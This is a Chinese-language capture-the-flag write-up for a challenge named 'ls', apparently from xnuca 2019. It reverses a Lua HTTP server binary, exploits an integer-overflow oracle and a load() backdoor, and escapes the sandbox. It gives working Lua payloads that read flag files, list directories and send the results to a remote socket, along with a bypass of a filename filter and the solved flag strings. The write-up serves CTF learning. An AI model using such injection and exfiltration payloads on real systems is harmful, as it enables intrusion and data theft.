[PWN] ls - cpt.shao、MF xp0int Posted on Aug 27 2019 本次比赛比较幸运能得到一血的题目,主要难点在于lua沙盒环境的绕过吧。简单记录一下题目思路。 题目跑起来会提示监听8000端口的信息,然后ida打开以后并没有找到相关的字符串: ```c [+] starting a new child 22982 Now listening on port 8000 [-] child quit with 14 [+] starting a new child 24045 Now listening on port 8000 ``` ida能够找到一个`main_wrapper`函数: ```c signed __int64 __fastcall main_wrapper(unsigned int a1, __int64 a2) { signed __int64 result; // rax int v3; // ST14_4 const char *v4; // rax __int64 v5; // [rsp+0h] [rbp-20h] int v6; // [rsp+10h] [rbp-10h] lua_State_0 *L; // [rsp+18h] [rbp-8h] alarm(0x28u); prctl(1, 1LL, a2); L = luaL_newstate(); if ( L ) { luaL_openlibs(L); createargtable(L, v5, a1, 0LL); clear_pkg_paths(L); preload_bundled_libs(L); v6 = load_script(L); if ( !v6 ) { v3 = pushargs(L); v6 = docall(L, v3, -1); } if ( v6 ) { v4 = lua_tolstring(L, -1, 0LL); fprintf(stderr, format, v4); fflush(stderr); lua_close(L); result = 1LL; } else { lua_close(L); result = 0LL; } } else { fprintf(stderr, format, "PANIC: not enough memory"); fflush(stderr); result = 1LL; } return result; } ``` 从中可以看到一些`lua`之类的字符串,以及还有`load_script`之类的函数,可以断定这是一个lua的解释器,那么相关的脚本放在哪里呢? 跟进`load_script`函数,可以看到有个解压用的函数`blz_depack`,用gdb打开程序以后再此函数断点,执行完后解密之后的脚本就会被放到内存buff的位置了。 用dump命令直接导出二进制文件即可获得lua脚本。有源代码还是很舒服的,很快就能定位到关键的代码部分: ```lua local secret = 0xdeadbeefabcdef01 local function reply(myserver, stream) -- luacheck: ignore 212 -- Read in headers urand = assert (io.open ('/dev/urandom', 'rb')) raw_rand=urand:read(8) secret = string.unpack("L",raw_rand) io.close(urand) local req_headers = assert(stream:get_headers()) local req_method = req_headers:get ":method" -- Log request to stdout assert(io.stdout:write(string.format('[%s] "%s %s HTTP/%g" "%s" "%s" "%s"\n', os.date("%d/%b/%Y:%H:%M:%S %z"), req_method or "", req_headers:get(":path") or "", stream.connection.version, req_headers:get("referer") or "-", req_headers:get("user-agent") or "-", req_headers:get("content-length") or "-" ))) -- Build response headers local res_headers = new_headers() res_headers:append(":status", nil) res_headers:append("server", default_server) res_headers:append("date", http_util.imf_date()) local function calc_oracle(x) local res = (secret + x ) < (secret - 3 * x) and 1 or 0 -- print('res:', res) stream:write_chunk(tostring(res)..'\n',false) return end -- do reverse if req_method == "POST" and req_headers:get("referer") == 'xnuca' then local cl = req_headers:get("content-length") local x = tonumber(stream.connection:read_body_by_length(tonumber(cl))) local res = (secret + x ) < (secret - 3 * x) and 1 or 0 res_headers:upsert(":status", "201") res_headers:append("content-type", "text/plain") assert(stream:write_headers(res_headers, false)) stream:write_chunk(tostring(res)..'\n',false) for i = 0,255,1 do stream:write_chunk('number?'..'\n',false) local tmp = stream.connection:read_body_by_length(2) local num_of_digits = tonumber(tmp) if num_of_digits == -1 then break end local new_x = tonumber(stream.connection:read_body_by_length(num_of_digits)) calc_oracle(new_x) end stream:write_chunk('did you get the secret?'..'\n',false,5) local num_of_digits = tonumber(stream.connection:read_body_by_length(2)) stream:write_chunk('your guess?'..'\n',false,5) local ans = tonumber(stream.connection:read_body_by_length(num_of_digits)) if ans == secret then stream:write_chunk("correct, here is your flag 1:\n") re_flag=io.open("flag1.txt",'r') tmp=re_flag:read "*a" stream:write_chunk(tmp) elseif ans > secret then print(secret,ans) stream:write_chunk("nope.") return else stream:write_chunk("nope.") return end end -- do pwn if req_method == "POST" and req_headers:get("referer") == "xnuca" and req_headers:get("user-agent") == 'ww9210' then local body_length = tonumber(stream.connection:read_body_by_length(4)) local body = stream.connection:read_body_by_length(body_length) -- print(cl,body) hex_dump(body) x = load(body) x() return end ``` 这个lua脚本是实现了一个http服务器,然后`request`函数插入了一些额外的逻辑,很贴心加上了注释,就是我们要完成的部分。在http包的referer和user-agent字段设置好后就能进入预设的后门逻辑。 首先`reverse`关卡给了255次猜测的机会,用户可以输入一个数字,返回一个关于`res = (secret + x ) < (secret - 3 * x) and 1 or 0`的结构,咋一看不等式两边消掉secret以后结果与secret无关呀。但是应该是存在整数溢出的问题。这部分交给逆向老哥mf完成,最后利用二分法思想写出来的算法大概有1/5的成功率,对掏flag来说也基本够用了。 完成后进入第二部分,看起来代码很简单,就是直接吧发送的内容当成是代码执行,一开始以为是shellcode,结果还是要用lua脚本发送执行。那么基本就是一个解释器环境的命令执行逃逸了。 我们调试的时候没有直接在二进制文件上做,既然lua脚本都已经到手了,干脆就直接在本机装了个lua解释器,再用luarocks把缺少的依赖都装上就能跑了。这样好处是能够直接修改脚本源码打印关键值。尝试做命令执行的时候首先上网搜到了lua的反弹脚本,但是本机上都没能反弹成功。 然后看到可以用`os.execute`执行任意命令。很不幸这个解释器是阉割过的,在ida里面都没看到`system`,`execve`之类的plt函数,说明直接命令执行是行不通了。加上http服务器的特殊交互性质,直接拿交互shell是不太可能了。于是思路转向了做反弹,先想办法打开socket然后把flag读出来传到远程服务器。 然而在脚本注入的位置并不能使用`import socket`,又是解释器做的限制,没有导入socket库到执行环境当中。于是到binary里面找看看有哪些库已经被加载可以利用的: ![](https://leanote.com/api/file/getImage?fileId=5d64a6b6ab6441688700190d) 可以看到有个`cqueues_socket`的库,而且脚本当中的http服务器实际上也正是通过这个库来打开端口的。 ```lua -- http.server package.preload["http.server"] = (function (...) local cqueues = require "cqueues" local monotime = cqueues.monotime local ca = require "cqueues.auxlib" local cc = require "cqueues.condition" local ce = require "cqueues.errno" local cs = require "cqueues.socket" ``` 搜索都`cqueue`的文档,照葫芦画瓢可以写出一个读取flag并发到远程的脚本: ```py cat_cmd = ''' local cs = require "cqueues.socket" tcp = cs.connect("127.0.0.0", 1234) re_flag=io.open("{}",'r') tmp=re_flag:read "*a" print(tmp) tcp:write(tmp) tcp:flush() tcp:close() '''.format(flag) ``` 测试发现可以读到flag1.txt的值,但是尝试flag2.txt不行,结合题目名字ls,看来flag2不叫flag2,还需要做一波列目录的操作。列目录需要怎么完成?其实既然是一个http文件服务器,里面肯定有列目录操作的相关实现,仔细观察依赖还可以看到有`lfs`的文件操作库,上网搜索一波列目录相关代码就能快速写出一个列目录并返回远程的脚本。这里需要注意一个点,经过测试发现端口号为4444的时候不行,用1234倒是可以了。 ```py ls_cmd = ''' local cs = require "cqueues.socket" tcp = cs.connect("127.0.0.1", 1234) local lfs = require('lfs') res = "" function findindir (path, wefind, r_table, intofolder) for file in lfs.dir(path) do if file ~= "." and file ~= ".." then local f = path..'/'..file res = res.."\\n" res = res..f if string.find(f, wefind) ~= nil then res = res.."\\n" res = res..f table.insert(r_table, f) end local attr = lfs.attributes (f) assert (type(attr) == "table") if attr.mode == "directory" and intofolder then findindir (f, wefind, r_table, intofolder) else end end end end local input_table = {} findindir(".", "%.txt", input_table, true) i=1 while input_table[i]~=nil do print(input_table[i]) i=i+1 end tcp:write(res) tcp:close() ''' ``` 成功返回目录文件后可以得出flag2的名字叫`flag009d9713831dca08e944ed901aede7f1.txt`,尝试套用上面的读文件脚本,并没有返回。本地调试发现报错"forbidden operation",难道是flag名字太长的问题?于是再次返回binary寻找线索,看看`io.open`函数是否做了什么限制。发现很诡异地ban掉了flag文件名当中的字符串: ```c v1 = (char *)luaL_checklstring(L, 1, 0LL); if ( strstr(v1, "009d9713831dca08e944ed901aede7f1") ) { puts("forbidden operation\b"); v2 = strlen(v1); memset(v1, 0, v2); } v3 = ``` 看来`io.open`是不能用了,再bianry中继续查看file系列函数的调用,跟踪发现`io_lines`函数里面也能打开文件并且没有限制,于是写出最终的get flag脚本: ```py flag = "flag009d9713831dca08e944ed901aede7f1.txt" final_cat = ''' local cs = require "cqueues.socket" tcp = cs.connect("127.0.0.1", 1234) tmp="" print(tmp) for cnt in io.lines("{}") do tmp = tmp..cnt print(cnt) end tcp:write(tmp) tcp:flush() tcp:close() '''.format(flag) ``` ## 总结 在有lua源码的情况下题目思路还是比较清晰的,但是要来回切换lua脚本和解释器binary里面的逻辑,现场学习了一波lua语言相关知识。猜数字那里算法不过关没仔细研究,感觉会有100%成功率的方法。最后flag2的内容仿佛在提示我这个是非预期解?严格来说这题pwn的成分不大,更像是web操作多一点,但拿到一血还是挺开心的。 ``` flag1: Wh0_wlLL_N3ed_Uns1gn3d_Integ31~_64? flag2: Code_3x3cut1on_Thr0ugh_8ytecode_executlOn ``` 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [Pwn] Pwn8 - cpt.shao
没有帐号? 立即注册